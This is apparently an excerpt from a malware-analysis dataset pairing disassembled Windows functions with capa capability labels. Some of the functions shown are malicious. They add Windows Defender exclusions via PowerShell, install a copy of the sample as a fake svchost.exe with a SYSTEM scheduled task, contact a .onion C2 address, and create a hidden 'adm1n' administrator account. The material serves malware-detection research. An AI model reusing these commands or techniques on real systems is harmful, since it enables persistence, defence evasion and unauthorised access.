joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140007950
Capabilities:
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rsi
push rdi
push r12
push r13
sub rsp, 0x5c8
mov r13, rdx
mov rsi, rcx
mov ecx, 0x202
lea rdx, [rsp + 0x420]
mov edi, r9d
call qword [sym.imp.ws2_32.dll_WSAStartup]
cmp eax, 0xffffffff
je 0x140007b17
mov ecx, 0x190
call fcn.140019570
mov r12, rax
test rax, rax
je 0x140007b17
mov qword [rsp + 0x5f0], rbx
mov qword [rsp + 0x5f8], rbp
xor ebp, ebp
mov qword [rsp + 0x600], r14
mov ebx, ebp
mov qword [rsp + 0x5c0], r15
nop dword [rax]
mov rdx, rsi
mov ecx, edi
call fcn.140007670
mov dword [r12 + rbx*4], eax
cmp eax, 0xffffffff
je 0x1400079dc
inc rbx
cmp rbx, 0x64
jl 0x1400079c0
mov ecx, 0x1f4
call qword [sym.imp.kernel32.dll_Sleep]
mov r15, rbp
nop word [rax + rax]
xor edx, edx
mov byte [rsp + 0x20], bpl
mov r8d, 0x3ff
lea rcx, [rsp + 0x21]
call fcn.14000f260
mov rdx, r13
lea rcx, [rsp + 0x20]
call qword [sym.imp.kernel32.dll_lstrcpyA]
lea rax, [rsp + 0x20]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], bpl
jne 0x140007a21
movsxd r14, dword [r12 + r15*4]
mov esi, ebp
mov edi, ebp
test ebx, ebx
jle 0x140007aa4
nop word [rax + rax]
mov r8d, ebx
movsxd rax, esi
lea rdx, [rsp + 0x20]
sub r8d, esi
add rdx, rax
xor r9d, r9d
mov rcx, r14
call qword [sym.imp.ws2_32.dll_send]
cmp eax, 0xffffffff
je 0x140007abb
add esi, eax
cmp esi, ebx
jl 0x140007a40
nop dword [rax + rax]
mov r8d, ebx
movsxd rax, edi
lea rdx, [rsp + 0x20]
sub r8d, edi
add rdx, rax
xor r9d, r9d
mov rcx, r14
call qword [sym.imp.ws2_32.dll_recv]
cmp eax, 0xffffffff
je 0x140007a9e
test eax, eax
je 0x140007aa4
add edi, eax
cmp edi, ebx
jl 0x140007a70
jmp 0x140007aa4
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
cmp edi, 0xffffffff
je 0x140007abb
cmp ebx, 0xffffffff
je 0x140007abb
inc r15
cmp r15, 0x64
jl 0x1400079f0
mov r15, qword [rsp + 0x5c0]
mov r14, qword [rsp + 0x600]
mov rbx, qword [rsp + 0x5f0]
movsxd rcx, dword [r12 + rbp*4]
call qword [sym.imp.ws2_32.dll_closesocket]
inc rbp
cmp rbp, 0x64
jl 0x140007ad3
mov rbp, qword [rsp + 0x5f8]
mov ecx, 0x12c
call qword [sym.imp.kernel32.dll_Sleep]
mov rcx, r12
call fcn.140016c14
call qword [sym.imp.ws2_32.dll_WSACleanup]
xor eax, eax
add rsp, 0x5c8
pop r13
pop r12
pop rdi
pop rsi
ret
mov eax, 0xffffffff
add rsp, 0x5c8
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x140008910
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x20]
sub rsp, 0x120
mov eax, dword [0x14002f2f8]
lea rcx, [rsp + 0x40]
movups xmm0, xmmword [str.powershell.exe]
mov dword [rsp + 0x38], eax
xor ebx, ebx
movzx eax, word [0x14002f2fc]
movups xmmword [rsp + 0x20], xmm0
mov word [rsp + 0x3c], ax
lea rax, [rsp + 0x20]
movsd xmm0, qword [0x14002f2f0]
movsd qword [rsp + 0x30], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x40], 0x70
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x48], rbx
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x58], rax
lea rax, str.Add_MpPreference__ExclusionPath_c:windows_
movups xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x60], rax
movups xmmword [rbp - 0x80], xmm0
mov dword [rsp + 0x70], ebx
movups xmmword [rbp - 0x70], xmm0
mov qword [rsp + 0x68], rbx
movups xmmword [rbp - 0x60], xmm0
call qword [sym.imp.shell32.dll_ShellExecuteExW]
xorps xmm0, xmm0
lea rax, [rsp + 0x20]
movups xmmword [rbp - 0x50], xmm0
lea rcx, [rbp - 0x50]
mov dword [rbp - 0x50], 0x70
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x48], rbx
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x38], rax
lea rax, str.Add_MpPreference__ExclusionPath__C:Windows__
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x30], rax
movups xmmword [rbp - 0x10], xmm0
mov dword [rbp - 0x20], ebx
movups xmmword [rbp], xmm0
mov qword [rbp - 0x28], rbx
movups xmmword [rbp + 0x10], xmm0
call qword [sym.imp.shell32.dll_ShellExecuteExW]
mov rbx, qword [rsp + 0x130]
add rsp, 0x120
pop rbp
ret

Function at 0x140008a10
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
sub rsp, 0x20
mov edi, ecx
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleA]
test rax, rax
je 0x140008a7c
mov qword [rsp + 0x30], rbx
lea r9, [rsp + 0x38]
lea rbx, [rax + 0x39000]
mov dword [rsp + 0x38], 0
mov rcx, rbx
mov edx, 0x500000
mov r8d, 1
call qword [sym.imp.kernel32.dll_VirtualProtect]
test eax, eax
je 0x140008a77
mov ecx, edi
call qword [sym.imp.kernel32.dll_Sleep]
lea r9, [rsp + 0x38]
mov edx, 0x500000
mov r8d, 0x40
mov rcx, rbx
call qword [sym.imp.kernel32.dll_VirtualProtect]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140008a90
Capabilities:
Copy file
Create process on windows
Get common file path
Schedule task via schtasks
Terminate process

Disassembly:
sub rsp, 0x4b8
mov r8d, 0x104
lea rdx, [rsp + 0x2a0]
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleFileNameW]
test eax, eax
je 0x140008c0a
mov edx, 0x104
lea rcx, [rsp + 0x90]
call qword [sym.imp.kernel32.dll_GetWindowsDirectoryW]
lea rdx, str.System_svchost.exe
lea rcx, [rsp + 0x90]
call qword [sym.imp.kernel32.dll_lstrcatW]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x2a0]
call fcn.140010708
test eax, eax
je 0x140008bfd
lea rcx, [rsp + 0x90]
call fcn.140007550
test eax, eax
je 0x140008b47
mov r8d, eax
mov qword [rsp + 0x4b0], rbx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.kernel32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140008b3f
xor edx, edx
mov rcx, rax
call qword [sym.imp.kernel32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rbx, qword [rsp + 0x4b0]
xor r8d, r8d
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x2a0]
call qword [sym.imp.kernel32.dll_CopyFileW]
test eax, eax
je 0x140008c0a
mov ecx, 0xfa0
call fcn.140008a10
xor edx, edx
lea rcx, str.schtasks__create__sc_minute__ED__11_02_2024___mo_7__tn__Timer___tr_c:windows_system_svchost.exe__ru_SYSTEM
call qword [sym.imp.kernel32.dll_WinExec]
xorps xmm0, xmm0
lea rax, [rsp + 0x90]
movups xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x20]
movups xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x20], 0x70
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x38], rax
lea rax, str.formal
mov qword [rsp + 0x40], rax
xor eax, eax
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x48], rax
movups xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x50], 5
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x80], xmm0
call qword [sym.imp.shell32.dll_ShellExecuteExW]
mov ecx, 0xbb8
call fcn.140008a10
xor ecx, ecx
call qword [sym.imp.kernel32.dll_ExitProcess]
mov eax, 1
add rsp, 0x4b8
ret
xor eax, eax
add rsp, 0x4b8
ret
Function at 0x140008c20
Capabilities:
Terminate process

Disassembly:
push rbp
push r15
mov eax, 0x7278
call fcn.140024b30
sub rsp, rax
mov rcx, qword [str.http:__kzeaqky6axif3jukzx7jj7ylhfgtytpb3xeojsfigogriyv6bv3cimyd.onion_index.php]
xor r15d, r15d
mov ebp, r15d
call qword [sym.imp.kernel32.dll_lstrlenA]
test eax, eax
je 0x140008e64
mov qword [rsp + 0x7270], r12
lea r12, str.http:__kzeaqky6axif3jukzx7jj7ylhfgtytpb3xeojsfigogriyv6bv3cimyd.onion_index.php
mov qword [rsp + 0x7268], r13
lea r13, str._a1
mov qword [rsp + 0x7290], rbx
mov qword [rsp + 0x7298], rsi
mov qword [rsp + 0x72a0], rdi
mov qword [rsp + 0x7260], r14
nop word [rax + rax]
lea rcx, [0x140542620]
call qword [sym.imp.kernel32.dll_lstrlenA]
test eax, eax
jne 0x140008e34
mov ecx, 0x2710
call fcn.140019570
xor edx, edx
mov r8d, 0x270f
mov rcx, rax
mov rsi, rax
call fcn.14000f260
mov ecx, ebp
mov rdx, qword [r12 + rcx*8]
lea r14, [r12 + rcx*8]
lea rcx, [rsp + 0x50]
call qword [sym.imp.kernel32.dll_lstrcpyA]
mov rdx, r13
lea rcx, [rsp + 0x50]
call qword [sym.imp.kernel32.dll_lstrcatA]
xor edx, edx
lea rcx, [rsp + 0x260]
mov r8d, 0x1000
call fcn.14000f260
xor edx, edx
lea rcx, [rsp + 0x1260]
mov r8d, 0x1000
call fcn.14000f260
mov rbx, qword [r14]
lea rcx, str.http:__
call qword [sym.imp.kernel32.dll_lstrlenA]
movsxd rdi, eax
lea rdx, [0x14002f1a8]
add rdi, rbx
mov rcx, rdi
call qword [sym.imp.shlwapi.dll_StrStrIA]
mov rdx, rax
lea rcx, [rsp + 0x1260]
mov rbx, rax
call qword [sym.imp.kernel32.dll_lstrcpyA]
sub rbx, rdi
lea rcx, [rsp + 0x260]
mov r8, rbx
mov rdx, rdi
call fcn.14000fb70
lea rcx, [rsp + 0x260]
call qword [sym.imp.kernel32.dll_lstrlenA]
test eax, eax
je 0x140008e6f
xor edx, edx
lea rcx, [rsp + 0x2260]
mov r8d, 0x5000
call fcn.14000f260
mov dword [rsp + 0x48], r15d
lea rax, [rsp + 0x2260]
mov dword [rsp + 0x40], 0x23be
lea r9, [0x14002f19a]
mov dword [rsp + 0x38], r15d
lea r8, str.index.php
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x260]
mov dword [rsp + 0x28], 0x2800
mov ecx, 3
mov qword [rsp + 0x20], r13
call fcn.140007b30
cmp eax, 0x7d0
ja 0x140008e18
mov rdx, rsi
lea rcx, [rsp + 0x2260]
call fcn.140008800
test eax, eax
je 0x140008e18
lea ecx, [rax - 0x11]
cmp ecx, 0x1e3
ja 0x140008e18
mov ecx, eax
cmp dword [rcx + rsi - 4], 0xa0d0d0d
jne 0x140008e18
mov rdx, qword [r14]
lea rcx, [0x140542620]
call qword [sym.imp.kernel32.dll_lstrcpyA]
mov rcx, rsi
call fcn.140016c14
inc ebp
mov rcx, qword [r12 + rbp*8]
call qword [sym.imp.kernel32.dll_lstrlenA]
test eax, eax
jne 0x140008c90
mov rbx, qword [rsp + 0x7290]
mov rsi, qword [rsp + 0x7298]
mov rdi, qword [rsp + 0x72a0]
mov r14, qword [rsp + 0x7260]
mov r12, qword [rsp + 0x7270]
mov r13, qword [rsp + 0x7268]
add rsp, 0x7278
pop r15
pop rbp
ret
xor ecx, ecx
call qword [sym.imp.kernel32.dll_ExitProcess]
Function at 0x140008e80
Capabilities:
Get disk information
Query or enumerate registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
push rbx
sub rsp, 0x140
xor ebx, ebx
mov dword [rax + 0x10], 0xff
mov dword [rax + 8], ebx
lea rax, [rax + 0x10]
mov qword [rsp + 0x30], rax
lea r8, str.MachineGuid
lea rax, [rsp + 0x40]
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x28], rax
lea r9d, [rbx + 2]
lea rdx, str.SOFTWAREMicrosoftCryptography
mov qword [rsp + 0x20], rbx
call qword [sym.imp.advapi32.dll_RegGetValueA]
test eax, eax
jne 0x140008f24
mov dword [rsp + 0x38], ebx
lea r9, [rsp + 0x150]
mov qword [rsp + 0x30], rbx
xor r8d, r8d
mov qword [rsp + 0x28], rbx
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.kernel32.dll_GetVolumeInformationA]
mov eax, dword [rsp + 0x150]
lea r9, [rsp + 0x40]
lea r8, str._s__x
mov dword [rsp + 0x20], eax
lea edx, [rbx + 0x32]
lea rcx, [0x140542bf0]
call fcn.140001080
add rsp, 0x140
pop rbx
ret
Function at 0x14000ea64
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x14000eaae
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000eaae
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000eaae
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000eaae
cmp dword [rcx + 0x84], 0xe
jbe 0x14000eaae
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000eab0
xor al, al
add rsp, 0x28
ret

Function at 0x1400105d4
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140010400

Function at 0x1400247a0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400247c8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400247c8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x14002943c
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001cb04
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001cb04
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x14002958c
cmp rax, 0xffffffffffffffff
je 0x14002958c
xor edi, edi
test rbp, rbp
jle 0x140029537
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001f430
mov rbx, rax
test rax, rax
jne 0x1400294c4
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x14002952d
mov edx, 0x8000
mov ecx, r14d
call fcn.14001a438
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001d7e0
cmp eax, 0xffffffff
je 0x14002950d
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1400294d4
mov edx, r15d
mov ecx, r14d
call fcn.14001a438
jmp 0x14002952d
cmp byte [rsi + 0x38], dil
je 0x140029524
cmp dword [rsi + 0x34], 5
jne 0x140029524
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x14002952d
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14001b1cc
jmp 0x1400295a0
jns 0x1400295a0
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001cb04
cmp rax, 0xffffffffffffffff
jne 0x140029558
cmp byte [rsi + 0x30], dil
je 0x1400295a0
mov edi, dword [rsi + 0x2c]
jmp 0x1400295a0
mov ecx, r14d
call fcn.1400188f4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1400295a0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x1400295a0
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140029599
mov eax, dword [rsi + 0x2c]
jmp 0x14002959e
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001cb04
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x180001000
Capabilities:
Execute command

Disassembly:
sub rsp, 0x28
cmp edx, 1
jne 0x180001023
lea rcx, str.cmd.exe__c_net_user_adm1n_Password123.__add
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cmd.exe__c_net_localgroup_administrators_adm1n__add
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, 1
add rsp, 0x28
ret
Function at 0x140008188
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r12
push r13
sub rsp, 0xb0
xor ebx, ebx
mov dword [rsp + 0x20], ebx
lea rcx, [rax - 0x78]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rdi, qword [rax + 8]
mov r12d, ebx
xor eax, eax
lock cmpxchg qword [0x14000d868], rdi
je 0x1400081e8
cmp rax, rdi
jne 0x1400081db
mov r12d, 1
jmp 0x1400081e8
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400081c1
mov eax, dword [0x14000d860]
cmp eax, 1
jne 0x1400081fd
lea ecx, [rax + 0x1e]
call sub.msvcrt.dll__amsg_exit
jmp 0x140008264
mov eax, dword [0x14000d860]
cmp eax, ebx
jne 0x14000825a
mov dword [0x14000d860], 1
lea r13, [0x140001548]
lea rdi, [0x140001530]
mov qword [rsp + 0x30], rdi
mov eax, ebx
mov dword [rsp + 0x24], ebx
cmp rdi, r13
jae 0x14000824c
cmp eax, ebx
jne 0x14000824c
mov rcx, qword [rdi]
cmp rcx, rbx
je 0x140008241
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x14000822a
cmp eax, ebx
je 0x140008264
mov eax, 0xff
jmp 0x1400083ac
mov dword [0x14000b554], 1
mov eax, dword [0x14000d860]
cmp eax, 1
jne 0x14000828c
lea rdx, [0x140001528]
lea rcx, [0x1400014b8]
call sub.msvcrt.dll__initterm
mov dword [0x14000d860], 2
cmp r12d, ebx
jne 0x14000829b
mov rax, rbx
xchg qword [0x14000d868], rax
cmp qword [0x14000d870], rbx
je 0x1400082c3
lea rcx, [0x14000d870]
call fcn.14000862c
cmp eax, ebx
je 0x1400082c3
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
call qword [0x14000d870]
mov rcx, qword [sym.imp.msvcrt.dll__wcmdln]
cmp qword [rcx], rbx
jne 0x1400082d9
mov eax, 0xff
jmp 0x1400083ac
mov rcx, qword [rcx]
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
cmp word [rcx], 0x20
ja 0x14000835e
cmp word [rcx], bx
je 0x1400082f4
cmp edx, ebx
jne 0x14000835e
cmp word [rcx], bx
je 0x14000830a
cmp word [rcx], 0x20
ja 0x14000830a
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x1400082f4
test byte [rsp + 0x7c], 1
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x140000000]
call fcn.140003b3c
mov dword [0x14000b550], eax
cmp dword [0x14000b534], ebx
jne 0x140008348
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x14000b554], ebx
jne 0x14000835c
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x14000b550]
jmp 0x1400083ac
cmp word [rcx], 0x22
jne 0x140008371
mov eax, ebx
cmp edx, ebx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x1400082e5
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov r12, qword [r11 + 0x20]
mov rsp, r11
pop r13
ret
sub rsp, 0x28
call fcn.14019f000
add rsp, 0x28
jmp 0x140008188
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1401ddd10]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x1401ddd20]
mov dword [rax], 1
mov rax, qword [0x1401ddd30]
mov dword [rax], 1
mov rax, qword [0x1401ddc60]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x1401ddd00]
mov dword [0x14020d00c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x1401dde00]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x1401ddde0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x1401dd0d0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x1400a32b0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x1400a3320
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14020d0b4]
mov rbx, rcx
test esi, esi
jle 0x1400a3450
mov rax, qword [0x14020d0b8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1400a336b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x1400a33f5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1400a3350
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x1400a3472
mov rax, qword [0x14020d0b8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14020d0b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400a3457
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x1400a33ee
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x1400a3400
add dword [0x14020d0b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14020d0b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400a33ee
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x1400a3378
mov rax, qword [0x14020d0b8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1400a3a00
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14020d120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14020d100]
test rbx, rbx
je 0x1400a3a5c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x1400a3a53
test eax, eax
jne 0x1400a3a53
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400a3a38
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400a3c70
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400a3c88
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400a3c90
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400a3ca0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x1400a3ced
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x1400a3ce4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x1400a3cef
add rax, 0x28
cmp rax, r9
jne 0x1400a3cd0
xor eax, eax
ret

Function at 0x1400a3cf0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x1400a3d80
mov rdx, qword [0x1401ddc60]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x1400a3d6e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400a3d6e
cmp word [rax + 0x18], 0x20b
jne 0x1400a3d6e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x1400a3d80
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1400a3d59
add rbx, 0x28
cmp rbx, rdi
je 0x1400a3d80
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1400a3d50
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x1400a3d90
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1401ddc60]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400a3db0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400a3db8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400a3db0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400a3e0d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400a3e04
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400a3db0
add rax, 0x28
cmp rax, r9
jne 0x1400a3df0
xor eax, eax
ret

Function at 0x1400a3e10
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1401ddc60]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400a3e2f
